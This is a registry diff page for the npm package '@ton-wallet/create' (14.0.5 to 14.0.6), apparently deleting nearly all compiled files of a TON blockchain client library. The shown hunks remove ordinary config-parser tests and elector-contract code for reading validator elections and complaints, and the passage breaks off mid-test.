@ton-wallet/create 14.0.5 → 14.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -2
- package/dist/client/TonClient.d.ts +0 -228
- package/dist/client/TonClient.js +0 -441
- package/dist/client/TonClient.spec.d.ts +0 -1
- package/dist/client/TonClient.spec.js +0 -45
- package/dist/client/TonClient4.d.ts +0 -1130
- package/dist/client/TonClient4.js +0 -687
- package/dist/client/TonClient4.spec.d.ts +0 -1
- package/dist/client/TonClient4.spec.js +0 -42
- package/dist/client/api/HttpApi.d.ts +0 -764
- package/dist/client/api/HttpApi.js +0 -306
- package/dist/client/api/TonCache.d.ts +0 -16
- package/dist/client/api/TonCache.js +0 -33
- package/dist/config/ConfigParser.d.ts +0 -622
- package/dist/config/ConfigParser.js +0 -711
- package/dist/config/ConfigParser.spec.d.ts +0 -8
- package/dist/config/ConfigParser.spec.js +0 -97
- package/dist/elector/ElectorContract.d.ts +0 -51
- package/dist/elector/ElectorContract.js +0 -192
- package/dist/elector/ElectorContract.spec.d.ts +0 -8
- package/dist/elector/ElectorContract.spec.js +0 -104
- package/dist/index.d.ts +0 -32
- package/dist/index.js +0 -129
- package/dist/jetton/JettonMaster.d.ts +0 -21
- package/dist/jetton/JettonMaster.js +0 -39
- package/dist/jetton/JettonMaster.spec.d.ts +0 -8
- package/dist/jetton/JettonMaster.spec.js +0 -27
- package/dist/jetton/JettonWallet.d.ts +0 -14
- package/dist/jetton/JettonWallet.js +0 -27
- package/dist/multisig/MultisigOrder.d.ts +0 -17
- package/dist/multisig/MultisigOrder.js +0 -73
- package/dist/multisig/MultisigOrder.spec.d.ts +0 -1
- package/dist/multisig/MultisigOrder.spec.js +0 -139
- package/dist/multisig/MultisigOrderBuilder.d.ts +0 -13
- package/dist/multisig/MultisigOrderBuilder.js +0 -37
- package/dist/multisig/MultisigWallet.d.ts +0 -27
- package/dist/multisig/MultisigWallet.js +0 -134
- package/dist/multisig/MultisigWallet.spec.d.ts +0 -1
- package/dist/multisig/MultisigWallet.spec.js +0 -248
- package/dist/utils/createTestClient.d.ts +0 -9
- package/dist/utils/createTestClient.js +0 -18
- package/dist/utils/createTestClient4.d.ts +0 -9
- package/dist/utils/createTestClient4.js +0 -15
- package/dist/utils/fees.d.ts +0 -25
- package/dist/utils/fees.js +0 -105
- package/dist/utils/fees.spec.d.ts +0 -1
- package/dist/utils/fees.spec.js +0 -83
- package/dist/utils/maybe.d.ts +0 -8
- package/dist/utils/maybe.js +0 -9
- package/dist/utils/randomTestKey.d.ts +0 -8
- package/dist/utils/randomTestKey.js +0 -24
- package/dist/utils/time.d.ts +0 -15
- package/dist/utils/time.js +0 -63
- package/dist/utils/toUrlSafe.d.ts +0 -8
- package/dist/utils/toUrlSafe.js +0 -23
- package/dist/wallets/WalletContractV1R1.d.ts +0 -58
- package/dist/wallets/WalletContractV1R1.js +0 -100
- package/dist/wallets/WalletContractV1R1.spec.d.ts +0 -8
- package/dist/wallets/WalletContractV1R1.spec.js +0 -44
- package/dist/wallets/WalletContractV1R2.d.ts +0 -58
- package/dist/wallets/WalletContractV1R2.js +0 -101
- package/dist/wallets/WalletContractV1R2.spec.d.ts +0 -8
- package/dist/wallets/WalletContractV1R2.spec.js +0 -44
- package/dist/wallets/WalletContractV1R3.d.ts +0 -58
- package/dist/wallets/WalletContractV1R3.js +0 -101
- package/dist/wallets/WalletContractV1R3.spec.d.ts +0 -8
- package/dist/wallets/WalletContractV1R3.spec.js +0 -44
- package/dist/wallets/WalletContractV2R1.d.ts +0 -60
- package/dist/wallets/WalletContractV2R1.js +0 -102
- package/dist/wallets/WalletContractV2R1.spec.d.ts +0 -8
- package/dist/wallets/WalletContractV2R1.spec.js +0 -44
- package/dist/wallets/WalletContractV2R2.d.ts +0 -60
- package/dist/wallets/WalletContractV2R2.js +0 -102
- package/dist/wallets/WalletContractV2R2.spec.d.ts +0 -8
- package/dist/wallets/WalletContractV2R2.spec.js +0 -44
- package/dist/wallets/WalletContractV3R1.d.ts +0 -57
- package/dist/wallets/WalletContractV3R1.js +0 -104
- package/dist/wallets/WalletContractV3R1.spec.d.ts +0 -8
- package/dist/wallets/WalletContractV3R1.spec.js +0 -44
- package/dist/wallets/WalletContractV3R2.d.ts +0 -57
- package/dist/wallets/WalletContractV3R2.js +0 -104
- package/dist/wallets/WalletContractV3R2.spec.d.ts +0 -8
- package/dist/wallets/WalletContractV3R2.spec.js +0 -44
- package/dist/wallets/WalletContractV3Types.d.ts +0 -12
- package/dist/wallets/WalletContractV3Types.js +0 -2
- package/dist/wallets/WalletContractV4.d.ts +0 -65
- package/dist/wallets/WalletContractV4.js +0 -105
- package/dist/wallets/WalletContractV4.spec.d.ts +0 -8
- package/dist/wallets/WalletContractV4.spec.js +0 -48
- package/dist/wallets/WalletContractV5Beta.d.ts +0 -3
- package/dist/wallets/WalletContractV5Beta.js +0 -19
- package/dist/wallets/WalletContractV5R1.d.ts +0 -3
- package/dist/wallets/WalletContractV5R1.js +0 -19
- package/dist/wallets/signing/createWalletTransfer.d.ts +0 -48
- package/dist/wallets/signing/createWalletTransfer.js +0 -190
- package/dist/wallets/signing/singer.d.ts +0 -9
- package/dist/wallets/signing/singer.js +0 -21
- package/dist/wallets/v5beta/WalletContractV5Beta.d.ts +0 -130
- package/dist/wallets/v5beta/WalletContractV5Beta.js +0 -211
- package/dist/wallets/v5beta/WalletContractV5Beta.spec.d.ts +0 -8
- package/dist/wallets/v5beta/WalletContractV5Beta.spec.js +0 -298
- package/dist/wallets/v5beta/WalletV5BetaActions.d.ts +0 -6
- package/dist/wallets/v5beta/WalletV5BetaActions.js +0 -92
- package/dist/wallets/v5beta/WalletV5BetaActions.spec.d.ts +0 -1
- package/dist/wallets/v5beta/WalletV5BetaActions.spec.js +0 -166
- package/dist/wallets/v5beta/WalletV5BetaWalletId.d.ts +0 -13
- package/dist/wallets/v5beta/WalletV5BetaWalletId.js +0 -31
- package/dist/wallets/v5beta/WalletV5BetaWalletId.spec.d.ts +0 -1
- package/dist/wallets/v5beta/WalletV5BetaWalletId.spec.js +0 -68
- package/dist/wallets/v5beta/WalletV5OutActions.d.ts +0 -17
- package/dist/wallets/v5beta/WalletV5OutActions.js +0 -11
- package/dist/wallets/v5r1/WalletContractV5R1.d.ts +0 -125
- package/dist/wallets/v5r1/WalletContractV5R1.js +0 -207
- package/dist/wallets/v5r1/WalletContractV5R1.spec.d.ts +0 -8
- package/dist/wallets/v5r1/WalletContractV5R1.spec.js +0 -321
- package/dist/wallets/v5r1/WalletV5R1Actions.d.ts +0 -12
- package/dist/wallets/v5r1/WalletV5R1Actions.js +0 -128
- package/dist/wallets/v5r1/WalletV5R1Actions.spec.d.ts +0 -1
- package/dist/wallets/v5r1/WalletV5R1Actions.spec.js +0 -262
- package/dist/wallets/v5r1/WalletV5R1WalletId.d.ts +0 -47
- package/dist/wallets/v5r1/WalletV5R1WalletId.js +0 -69
- package/dist/wallets/v5r1/WalletV5R1WalletId.spec.d.ts +0 -1
- package/dist/wallets/v5r1/WalletV5R1WalletId.spec.js +0 -72
|
@@ -1,97 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
/**
|
|
3
|
-
* Copyright (c) Whales Corp.
|
|
4
|
-
* All Rights Reserved.
|
|
5
|
-
*
|
|
6
|
-
* This source code is licensed under the MIT license found in the
|
|
7
|
-
* LICENSE file in the root directory of this source tree.
|
|
8
|
-
*/
|
|
9
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
10
|
-
const createTestClient4_1 = require("../utils/createTestClient4");
|
|
11
|
-
const core_1 = require("@ton/core");
|
|
12
|
-
const ConfigParser_1 = require("./ConfigParser");
|
|
13
|
-
const client = (0, createTestClient4_1.createTestClient4)("mainnet");
|
|
14
|
-
const KNOWN_BLOCK = 31091335;
|
|
15
|
-
describe('ConfigContract', () => {
|
|
16
|
-
// for some reason api returns 500 for this reques
|
|
17
|
-
// it('should return correct burning config', async () => {
|
|
18
|
-
// const serializedConfigsCell = (await client.getConfig(KNOWN_BLOCK, [13])).config.cell;
|
|
19
|
-
// const config13 = configParse13(loadConfigParamById(serializedConfigsCell, 13).beginParse());
|
|
20
|
-
// console.log(config13);
|
|
21
|
-
// });
|
|
22
|
-
it('should return correct complaint pricing', async () => {
|
|
23
|
-
const serializedConfigsCell = (await client.getConfig(KNOWN_BLOCK, [5])).config.cell;
|
|
24
|
-
const config5 = (0, ConfigParser_1.configParse5)((0, ConfigParser_1.loadConfigParamById)(serializedConfigsCell, 5).beginParse());
|
|
25
|
-
expect(config5.blackholeAddr.equals(core_1.Address.parse('Ef___________________________________________7Sg'))).toBe(true);
|
|
26
|
-
expect(config5.feeBurnNominator).toEqual(1);
|
|
27
|
-
expect(config5.feeBurnDenominator).toEqual(2);
|
|
28
|
-
});
|
|
29
|
-
it('should return correct workckain description', async () => {
|
|
30
|
-
const serializedConfigsCell = (await client.getConfig(KNOWN_BLOCK, [12])).config.cell;
|
|
31
|
-
const config12 = (0, ConfigParser_1.configParse12)((0, ConfigParser_1.loadConfigParamById)(serializedConfigsCell, 12).beginParse());
|
|
32
|
-
expect(config12.get(0)).toEqual({
|
|
33
|
-
enabledSince: 1573821854,
|
|
34
|
-
actialMinSplit: 0,
|
|
35
|
-
min_split: 0,
|
|
36
|
-
max_split: 4,
|
|
37
|
-
basic: true,
|
|
38
|
-
active: true,
|
|
39
|
-
accept_msgs: true,
|
|
40
|
-
flags: 0,
|
|
41
|
-
zerostateRootHash: Buffer.from('55b13f6d0e1d0c34c9c2160f6f918e92d82bf9ddcf8de2e4c94a3fdf39d15446', 'hex'),
|
|
42
|
-
zerostateFileHash: Buffer.from('ee0bedfe4b32761fb35e9e1d8818ea720cad1a0e7b4d2ed673c488e72e910342', 'hex'),
|
|
43
|
-
version: 0,
|
|
44
|
-
format: {
|
|
45
|
-
vmMode: 16140901064495857664n,
|
|
46
|
-
vmVersion: 1073741823,
|
|
47
|
-
},
|
|
48
|
-
});
|
|
49
|
-
});
|
|
50
|
-
it('should return correct config17', async () => {
|
|
51
|
-
const serializedConfigsCell = (await client.getConfig(KNOWN_BLOCK, [17])).config.cell;
|
|
52
|
-
const config17 = (0, ConfigParser_1.configParse17)((0, ConfigParser_1.loadConfigParamById)(serializedConfigsCell, 17).beginParse());
|
|
53
|
-
expect(config17).toEqual({
|
|
54
|
-
minStake: 300000000000000n,
|
|
55
|
-
maxStake: 10000000000000000n,
|
|
56
|
-
minTotalStake: 75000000000000000n,
|
|
57
|
-
maxStakeFactor: 196608
|
|
58
|
-
});
|
|
59
|
-
});
|
|
60
|
-
it('should return correct config18', async () => {
|
|
61
|
-
const serializedConfigsCell = (await client.getConfig(KNOWN_BLOCK, [18])).config.cell;
|
|
62
|
-
const config18 = (0, ConfigParser_1.configParse18)((0, ConfigParser_1.loadConfigParamById)(serializedConfigsCell, 18).beginParse());
|
|
63
|
-
expect(config18[0]).toEqual({
|
|
64
|
-
utime_since: 0,
|
|
65
|
-
bit_price_ps: 1n,
|
|
66
|
-
cell_price_ps: 500n,
|
|
67
|
-
mc_bit_price_ps: 1000n,
|
|
68
|
-
mc_cell_price_ps: 500000n
|
|
69
|
-
});
|
|
70
|
-
});
|
|
71
|
-
it('should return correct prevValidators', async () => {
|
|
72
|
-
const serializedConfigsCell = (await client.getConfig(KNOWN_BLOCK, [32])).config.cell;
|
|
73
|
-
const config32 = (0, ConfigParser_1.configParseValidatorSet)((0, ConfigParser_1.loadConfigParamById)(serializedConfigsCell, 32).beginParse());
|
|
74
|
-
expect(config32.timeSince).toEqual(1689145096);
|
|
75
|
-
expect(config32.timeUntil).toEqual(1689210632);
|
|
76
|
-
expect(config32.total).toEqual(331);
|
|
77
|
-
expect(config32.main).toEqual(100);
|
|
78
|
-
expect(config32.totalWeight).toEqual(1152921504606846812n);
|
|
79
|
-
expect(config32.list.get(0)).toEqual({
|
|
80
|
-
publicKey: Buffer.from('9828e815ea69180cac1ae2b02f15f285a9cef71ec11c7709acc31128a303448c', 'hex'),
|
|
81
|
-
weight: 5077814413300977n,
|
|
82
|
-
adnlAddress: Buffer.from('e2e5cadaa61c6d84f86a3618d496ea0bd98c79edc796af9895b82fb83cb666b9', 'hex')
|
|
83
|
-
});
|
|
84
|
-
});
|
|
85
|
-
it('should return correct ethereum bridge', async () => {
|
|
86
|
-
const serializedConfigsCell = (await client.getConfig(KNOWN_BLOCK, [71])).config.cell;
|
|
87
|
-
const config71 = (0, ConfigParser_1.configParseBridge)((0, ConfigParser_1.loadConfigParamById)(serializedConfigsCell, 71).beginParse());
|
|
88
|
-
expect(config71.bridgeAddress.equals(core_1.Address.parse('Ef_dJMSh8riPi3BTUTtcxsWjG8RLKnLctNjAM4rw8NN-xWdr'))).toBe(true);
|
|
89
|
-
expect(config71.oracleMultisigAddress.equals(core_1.Address.parse('Ef87m7_QrVM4uXAPCDM4DuF9Rj5Rwa5nHubwiQG96JmyAjQY'))).toBe(true);
|
|
90
|
-
expect(config71.oracles.get('Ef8DfObDUrNqz66pr_7xMbUYckUFbIIvRh1FSNeVSLWrvo1M')).toEqual(Buffer.from('000000000000000000000000cf4a7c26186aa41390e246fa04115a0495085ab9', 'hex'));
|
|
91
|
-
expect(config71.externalChainAddress).toEqual(Buffer.from('000000000000000000000000582d872a1b094fc48f5de31d3b73f2d9be47def1', 'hex'));
|
|
92
|
-
});
|
|
93
|
-
it('should not reise error when loading full config', async () => {
|
|
94
|
-
const serializedConfigsCell = (await client.getConfig(KNOWN_BLOCK)).config.cell;
|
|
95
|
-
(0, ConfigParser_1.parseFullConfig)((0, ConfigParser_1.loadConfigParamsAsSlice)(serializedConfigsCell));
|
|
96
|
-
});
|
|
97
|
-
});
|
|
@@ -1,51 +0,0 @@
|
|
|
1
|
-
/// <reference types="node" />
|
|
2
|
-
import { Address, Contract, ContractProvider } from "@ton/core";
|
|
3
|
-
export declare class ElectorContract implements Contract {
|
|
4
|
-
readonly address: Address;
|
|
5
|
-
static create(): ElectorContract;
|
|
6
|
-
constructor();
|
|
7
|
-
getReturnedStake(provider: ContractProvider, address: Address): Promise<bigint>;
|
|
8
|
-
getPastElectionsList(provider: ContractProvider): Promise<{
|
|
9
|
-
id: number;
|
|
10
|
-
unfreezeAt: number;
|
|
11
|
-
stakeHeld: number;
|
|
12
|
-
}[]>;
|
|
13
|
-
getPastElections(provider: ContractProvider): Promise<{
|
|
14
|
-
id: number;
|
|
15
|
-
unfreezeAt: number;
|
|
16
|
-
stakeHeld: number;
|
|
17
|
-
totalStake: bigint;
|
|
18
|
-
bonuses: bigint;
|
|
19
|
-
frozen: Map<string, {
|
|
20
|
-
address: Address;
|
|
21
|
-
weight: bigint;
|
|
22
|
-
stake: bigint;
|
|
23
|
-
}>;
|
|
24
|
-
}[]>;
|
|
25
|
-
getElectionEntities(provider: ContractProvider): Promise<{
|
|
26
|
-
minStake: bigint;
|
|
27
|
-
allStakes: bigint;
|
|
28
|
-
endElectionsTime: number;
|
|
29
|
-
startWorkTime: number;
|
|
30
|
-
entities: {
|
|
31
|
-
pubkey: Buffer;
|
|
32
|
-
stake: bigint;
|
|
33
|
-
address: Address;
|
|
34
|
-
adnl: Buffer;
|
|
35
|
-
}[];
|
|
36
|
-
} | null>;
|
|
37
|
-
getActiveElectionId(provider: ContractProvider): Promise<number | null>;
|
|
38
|
-
getComplaints(provider: ContractProvider, electionId: number): Promise<{
|
|
39
|
-
id: bigint;
|
|
40
|
-
publicKey: Buffer;
|
|
41
|
-
createdAt: number;
|
|
42
|
-
severity: number;
|
|
43
|
-
paid: bigint;
|
|
44
|
-
suggestedFine: bigint;
|
|
45
|
-
suggestedFinePart: bigint;
|
|
46
|
-
rewardAddress: Address;
|
|
47
|
-
votes: number[];
|
|
48
|
-
remainingWeight: bigint;
|
|
49
|
-
vsetId: bigint;
|
|
50
|
-
}[]>;
|
|
51
|
-
}
|
|
@@ -1,192 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.ElectorContract = void 0;
|
|
4
|
-
const core_1 = require("@ton/core");
|
|
5
|
-
const FrozenDictValue = {
|
|
6
|
-
serialize(src, builder) {
|
|
7
|
-
throw Error("not implemented");
|
|
8
|
-
},
|
|
9
|
-
parse(src) {
|
|
10
|
-
const address = new core_1.Address(-1, src.loadBuffer(32));
|
|
11
|
-
const weight = src.loadUintBig(64);
|
|
12
|
-
const stake = src.loadCoins();
|
|
13
|
-
return { address, weight, stake };
|
|
14
|
-
}
|
|
15
|
-
};
|
|
16
|
-
const EntitiesDictValue = {
|
|
17
|
-
serialize(src, builder) {
|
|
18
|
-
throw Error("not implemented");
|
|
19
|
-
},
|
|
20
|
-
parse(src) {
|
|
21
|
-
const stake = src.loadCoins();
|
|
22
|
-
// skip time and maxFactor
|
|
23
|
-
src.skip(64);
|
|
24
|
-
const address = new core_1.Address(-1, src.loadBuffer(32));
|
|
25
|
-
const adnl = src.loadBuffer(32);
|
|
26
|
-
return { stake, address, adnl };
|
|
27
|
-
}
|
|
28
|
-
};
|
|
29
|
-
class ElectorContract {
|
|
30
|
-
//readonly source: ContractSource = new UnknownContractSource('org.ton.elector', -1, 'Elector Contract');
|
|
31
|
-
static create() {
|
|
32
|
-
return new ElectorContract();
|
|
33
|
-
}
|
|
34
|
-
constructor() {
|
|
35
|
-
// Please note that we are NOT loading address from config to avoid mistake and send validator money to a wrong contract
|
|
36
|
-
this.address = core_1.Address.parseRaw('-1:3333333333333333333333333333333333333333333333333333333333333333');
|
|
37
|
-
}
|
|
38
|
-
async getReturnedStake(provider, address) {
|
|
39
|
-
if (address.workChain !== -1) {
|
|
40
|
-
throw Error('Only masterchain addresses could have stake');
|
|
41
|
-
}
|
|
42
|
-
const res = await provider.get('compute_returned_stake', [{ type: 'int', value: BigInt('0x' + address.hash.toString('hex')) }]);
|
|
43
|
-
return res.stack.readBigNumber();
|
|
44
|
-
}
|
|
45
|
-
async getPastElectionsList(provider) {
|
|
46
|
-
const res = await provider.get('past_elections_list', []);
|
|
47
|
-
const electionsListRaw = new core_1.TupleReader(res.stack.readLispList());
|
|
48
|
-
const elections = [];
|
|
49
|
-
while (electionsListRaw.remaining > 0) {
|
|
50
|
-
const electionsListEntry = electionsListRaw.readTuple();
|
|
51
|
-
const id = electionsListEntry.readNumber();
|
|
52
|
-
const unfreezeAt = electionsListEntry.readNumber();
|
|
53
|
-
electionsListEntry.pop(); // Ignore vset_hash
|
|
54
|
-
const stakeHeld = electionsListEntry.readNumber();
|
|
55
|
-
elections.push({ id, unfreezeAt, stakeHeld });
|
|
56
|
-
}
|
|
57
|
-
return elections;
|
|
58
|
-
}
|
|
59
|
-
async getPastElections(provider) {
|
|
60
|
-
const res = await provider.get('past_elections', []);
|
|
61
|
-
const electionsRaw = new core_1.TupleReader(res.stack.readLispList());
|
|
62
|
-
const elections = [];
|
|
63
|
-
while (electionsRaw.remaining > 0) {
|
|
64
|
-
const electionsEntry = electionsRaw.readTuple();
|
|
65
|
-
const id = electionsEntry.readNumber();
|
|
66
|
-
const unfreezeAt = electionsEntry.readNumber();
|
|
67
|
-
const stakeHeld = electionsEntry.readNumber();
|
|
68
|
-
electionsEntry.pop(); // Ignore vset_hash
|
|
69
|
-
const frozenDict = electionsEntry.readCell();
|
|
70
|
-
const totalStake = electionsEntry.readBigNumber();
|
|
71
|
-
const bonuses = electionsEntry.readBigNumber();
|
|
72
|
-
let frozen = new Map();
|
|
73
|
-
const frozenData = frozenDict.beginParse().loadDictDirect(core_1.Dictionary.Keys.Buffer(32), FrozenDictValue);
|
|
74
|
-
for (const [key, value] of frozenData) {
|
|
75
|
-
frozen.set(BigInt("0x" + key.toString("hex")).toString(10), { address: value["address"], weight: value["weight"], stake: value["stake"] });
|
|
76
|
-
}
|
|
77
|
-
elections.push({ id, unfreezeAt, stakeHeld, totalStake, bonuses, frozen });
|
|
78
|
-
}
|
|
79
|
-
return elections;
|
|
80
|
-
}
|
|
81
|
-
async getElectionEntities(provider) {
|
|
82
|
-
//
|
|
83
|
-
// NOTE: this method doesn't call get method since for some reason it doesn't work
|
|
84
|
-
//
|
|
85
|
-
const account = await provider.getState();
|
|
86
|
-
if (account.state.type !== 'active') {
|
|
87
|
-
throw Error('Unexpected error');
|
|
88
|
-
}
|
|
89
|
-
const cell = core_1.Cell.fromBoc(account.state.data)[0];
|
|
90
|
-
const cs = cell.beginParse();
|
|
91
|
-
if (!cs.loadBit()) {
|
|
92
|
-
return null;
|
|
93
|
-
}
|
|
94
|
-
// (es~load_uint(32), es~load_uint(32), es~load_grams(), es~load_grams(), es~load_dict(), es~load_int(1), es~load_int(1));
|
|
95
|
-
const sc = cs.loadRef().beginParse();
|
|
96
|
-
const startWorkTime = sc.loadUint(32);
|
|
97
|
-
const endElectionsTime = sc.loadUint(32);
|
|
98
|
-
const minStake = sc.loadCoins();
|
|
99
|
-
const allStakes = sc.loadCoins();
|
|
100
|
-
// var (stake, time, max_factor, addr, adnl_addr) = (cs~load_grams(), cs~load_uint(32), cs~load_uint(32), cs~load_uint(256), cs~load_uint(256));
|
|
101
|
-
const entitiesData = sc.loadDict(core_1.Dictionary.Keys.Buffer(32), EntitiesDictValue);
|
|
102
|
-
let entities = [];
|
|
103
|
-
// const failed = sc.loadBit();
|
|
104
|
-
// const finished = sc.loadBit();
|
|
105
|
-
if (entitiesData) {
|
|
106
|
-
for (const [key, value] of entitiesData) {
|
|
107
|
-
entities.push({ pubkey: key, stake: value["stake"], address: value["address"], adnl: value["adnl"] });
|
|
108
|
-
}
|
|
109
|
-
}
|
|
110
|
-
return { minStake, allStakes, endElectionsTime, startWorkTime, entities };
|
|
111
|
-
}
|
|
112
|
-
// possible code for fetching data via get method if it is possible to set gas limit by request
|
|
113
|
-
// async getElectionEntities(block: number) {
|
|
114
|
-
// const res = await this.client.runMethod(block, this.address, 'participant_list_extended');
|
|
115
|
-
// if (res.exitCode !== 0 && res.exitCode !== 1) {
|
|
116
|
-
// throw Error('Exit code: ' + res.exitCode);
|
|
117
|
-
// }
|
|
118
|
-
// let tuple = new TupleReader(res.result);
|
|
119
|
-
// const startWorkTime = tuple.readNumber();
|
|
120
|
-
// const endElectionsTime = tuple.readNumber();
|
|
121
|
-
// const minStake = tuple.readBigNumber();
|
|
122
|
-
// const allStakes = tuple.readBigNumber();
|
|
123
|
-
// let entriesTuple = tuple.readTuple();
|
|
124
|
-
// const entriesRaw = new TupleReader(entriesTuple.readLispList());
|
|
125
|
-
// let entities: { pubkey: Buffer, stake: bigint, address: Address, adnl: Buffer }[] = [];
|
|
126
|
-
// while (entriesRaw.remaining > 0) {
|
|
127
|
-
// const electionsEntry = entriesRaw.readTuple();
|
|
128
|
-
// const pubkey = electionsEntry.readBuffer();
|
|
129
|
-
// const stake = electionsEntry.readBigNumber();
|
|
130
|
-
// const address = electionsEntry.readAddress();
|
|
131
|
-
// const adnl = electionsEntry.readBuffer();
|
|
132
|
-
// entities.push({ pubkey, stake, address, adnl });
|
|
133
|
-
// }
|
|
134
|
-
// return { minStake, allStakes, endElectionsTime, startWorkTime, entities };
|
|
135
|
-
// }
|
|
136
|
-
async getActiveElectionId(provider) {
|
|
137
|
-
const res = await provider.get('active_election_id', []);
|
|
138
|
-
const electionId = res.stack.readNumber();
|
|
139
|
-
return electionId > 0 ? electionId : null;
|
|
140
|
-
}
|
|
141
|
-
async getComplaints(provider, electionId) {
|
|
142
|
-
const b = new core_1.TupleBuilder();
|
|
143
|
-
b.writeNumber(electionId);
|
|
144
|
-
const res = await provider.get('list_complaints', b.build());
|
|
145
|
-
if (res.stack.peek().type === 'null') {
|
|
146
|
-
return [];
|
|
147
|
-
}
|
|
148
|
-
//let tuple = new TupleReader(res.result);
|
|
149
|
-
const complaintsRaw = new core_1.TupleReader(res.stack.readLispList());
|
|
150
|
-
const results = [];
|
|
151
|
-
while (complaintsRaw.remaining > 0) {
|
|
152
|
-
const complaintsEntry = complaintsRaw.readTuple();
|
|
153
|
-
const id = complaintsEntry.readBigNumber();
|
|
154
|
-
const completeUnpackedComplaint = complaintsEntry.readTuple();
|
|
155
|
-
const unpackedComplaints = completeUnpackedComplaint.readTuple();
|
|
156
|
-
const publicKey = Buffer.from(unpackedComplaints.readBigNumber().toString(16), 'hex');
|
|
157
|
-
// prod_info#34 utime:uint32 mc_blk_ref:ExtBlkRef state_proof:^(MERKLE_PROOF Block)
|
|
158
|
-
// prod_proof:^(MERKLE_PROOF ShardState) = ProducerInfo;
|
|
159
|
-
// no_blk_gen from_utime:uint32 prod_info:^ProducerInfo = ComplaintDescr;
|
|
160
|
-
// no_blk_gen_diff prod_info_old:^ProducerInfo prod_info_new:^ProducerInfo = ComplaintDescr;
|
|
161
|
-
const description = unpackedComplaints.readCell();
|
|
162
|
-
const createdAt = unpackedComplaints.readNumber();
|
|
163
|
-
const severity = unpackedComplaints.readNumber();
|
|
164
|
-
const rewardAddress = new core_1.Address(-1, Buffer.from(unpackedComplaints.readBigNumber().toString(16), 'hex'));
|
|
165
|
-
const paid = unpackedComplaints.readBigNumber();
|
|
166
|
-
const suggestedFine = unpackedComplaints.readBigNumber();
|
|
167
|
-
const suggestedFinePart = unpackedComplaints.readBigNumber();
|
|
168
|
-
const votes = [];
|
|
169
|
-
const votersListRaw = new core_1.TupleReader(completeUnpackedComplaint.readLispList());
|
|
170
|
-
while (votersListRaw.remaining > 0) {
|
|
171
|
-
votes.push(votersListRaw.readNumber());
|
|
172
|
-
}
|
|
173
|
-
const vsetId = completeUnpackedComplaint.readBigNumber();
|
|
174
|
-
const remainingWeight = completeUnpackedComplaint.readBigNumber();
|
|
175
|
-
results.push({
|
|
176
|
-
id,
|
|
177
|
-
publicKey,
|
|
178
|
-
createdAt,
|
|
179
|
-
severity,
|
|
180
|
-
paid,
|
|
181
|
-
suggestedFine,
|
|
182
|
-
suggestedFinePart,
|
|
183
|
-
rewardAddress,
|
|
184
|
-
votes,
|
|
185
|
-
remainingWeight,
|
|
186
|
-
vsetId
|
|
187
|
-
});
|
|
188
|
-
}
|
|
189
|
-
return results;
|
|
190
|
-
}
|
|
191
|
-
}
|
|
192
|
-
exports.ElectorContract = ElectorContract;
|
|
@@ -1,104 +0,0 @@
|
|
|
1
|
-
"use strict";
|
|
2
|
-
/**
|
|
3
|
-
* Copyright (c) Whales Corp.
|
|
4
|
-
* All Rights Reserved.
|
|
5
|
-
*
|
|
6
|
-
* This source code is licensed under the MIT license found in the
|
|
7
|
-
* LICENSE file in the root directory of this source tree.
|
|
8
|
-
*/
|
|
9
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
|
10
|
-
const createTestClient4_1 = require("../utils/createTestClient4");
|
|
11
|
-
const core_1 = require("@ton/core");
|
|
12
|
-
const ElectorContract_1 = require("./ElectorContract");
|
|
13
|
-
const client = (0, createTestClient4_1.createTestClient4)("mainnet");
|
|
14
|
-
const KNOWN_BLOCK = 31091335;
|
|
15
|
-
const BLOCK_WITH_TWO_PAST_ELECTIONS_ENTRIES = 30910280;
|
|
16
|
-
const BLOCK_WITH_COMPLAINTS = 20579335;
|
|
17
|
-
const ELECTIONS_ID_WITH_COMPLAUINTS = 1652554259;
|
|
18
|
-
const ecTwoPastElectionsEntries = client.openAt(BLOCK_WITH_TWO_PAST_ELECTIONS_ENTRIES, ElectorContract_1.ElectorContract.create());
|
|
19
|
-
const ecKnownBlock = client.openAt(KNOWN_BLOCK, ElectorContract_1.ElectorContract.create());
|
|
20
|
-
const ecWithComaplints = client.openAt(BLOCK_WITH_COMPLAINTS, ElectorContract_1.ElectorContract.create());
|
|
21
|
-
describe('ElectorContract', () => {
|
|
22
|
-
it('should return correct past elections list', async () => {
|
|
23
|
-
expect(await ecTwoPastElectionsEntries.getPastElectionsList()).toEqual([
|
|
24
|
-
{ id: 1688555272, unfreezeAt: 1688653586, stakeHeld: 32768 },
|
|
25
|
-
{ id: 1688620808, unfreezeAt: 1688719112, stakeHeld: 32768 }
|
|
26
|
-
]);
|
|
27
|
-
});
|
|
28
|
-
it('should return correct past elections records', async () => {
|
|
29
|
-
const pastElections = await ecTwoPastElectionsEntries.getPastElections();
|
|
30
|
-
expect(pastElections[0].id).toEqual(1688555272);
|
|
31
|
-
expect(pastElections[0].unfreezeAt).toEqual(1688653586);
|
|
32
|
-
expect(pastElections[0].stakeHeld).toEqual(32768);
|
|
33
|
-
expect(pastElections[0].totalStake).toEqual(223347831720943192n);
|
|
34
|
-
expect(pastElections[0].bonuses).toEqual(53066684997045n);
|
|
35
|
-
const knownFrozenValue0 = pastElections[0].frozen.get('12697811587540651918746850816771244166804229135431506663207437025351429985');
|
|
36
|
-
expect(knownFrozenValue0["address"].equals(core_1.Address.parse('Ef-vmU4VjsKZhFfEvB-N_fXY8zcyH4ih6n9DcMtIAsy3YezN'))).toBe(true);
|
|
37
|
-
expect(knownFrozenValue0["weight"]).toEqual(4395984999565357n);
|
|
38
|
-
expect(knownFrozenValue0["stake"]).toEqual(851605000000000n);
|
|
39
|
-
expect(pastElections[1].id).toEqual(1688620808);
|
|
40
|
-
expect(pastElections[1].unfreezeAt).toEqual(1688719112);
|
|
41
|
-
expect(pastElections[1].stakeHeld).toEqual(32768);
|
|
42
|
-
expect(pastElections[1].totalStake).toEqual(223158712619365653n);
|
|
43
|
-
expect(pastElections[1].bonuses).toEqual(15934890731182n);
|
|
44
|
-
const knownFrozenValue1 = pastElections[1].frozen.get('216824161582481026645351194108767366817492989435791853445305829924424560264');
|
|
45
|
-
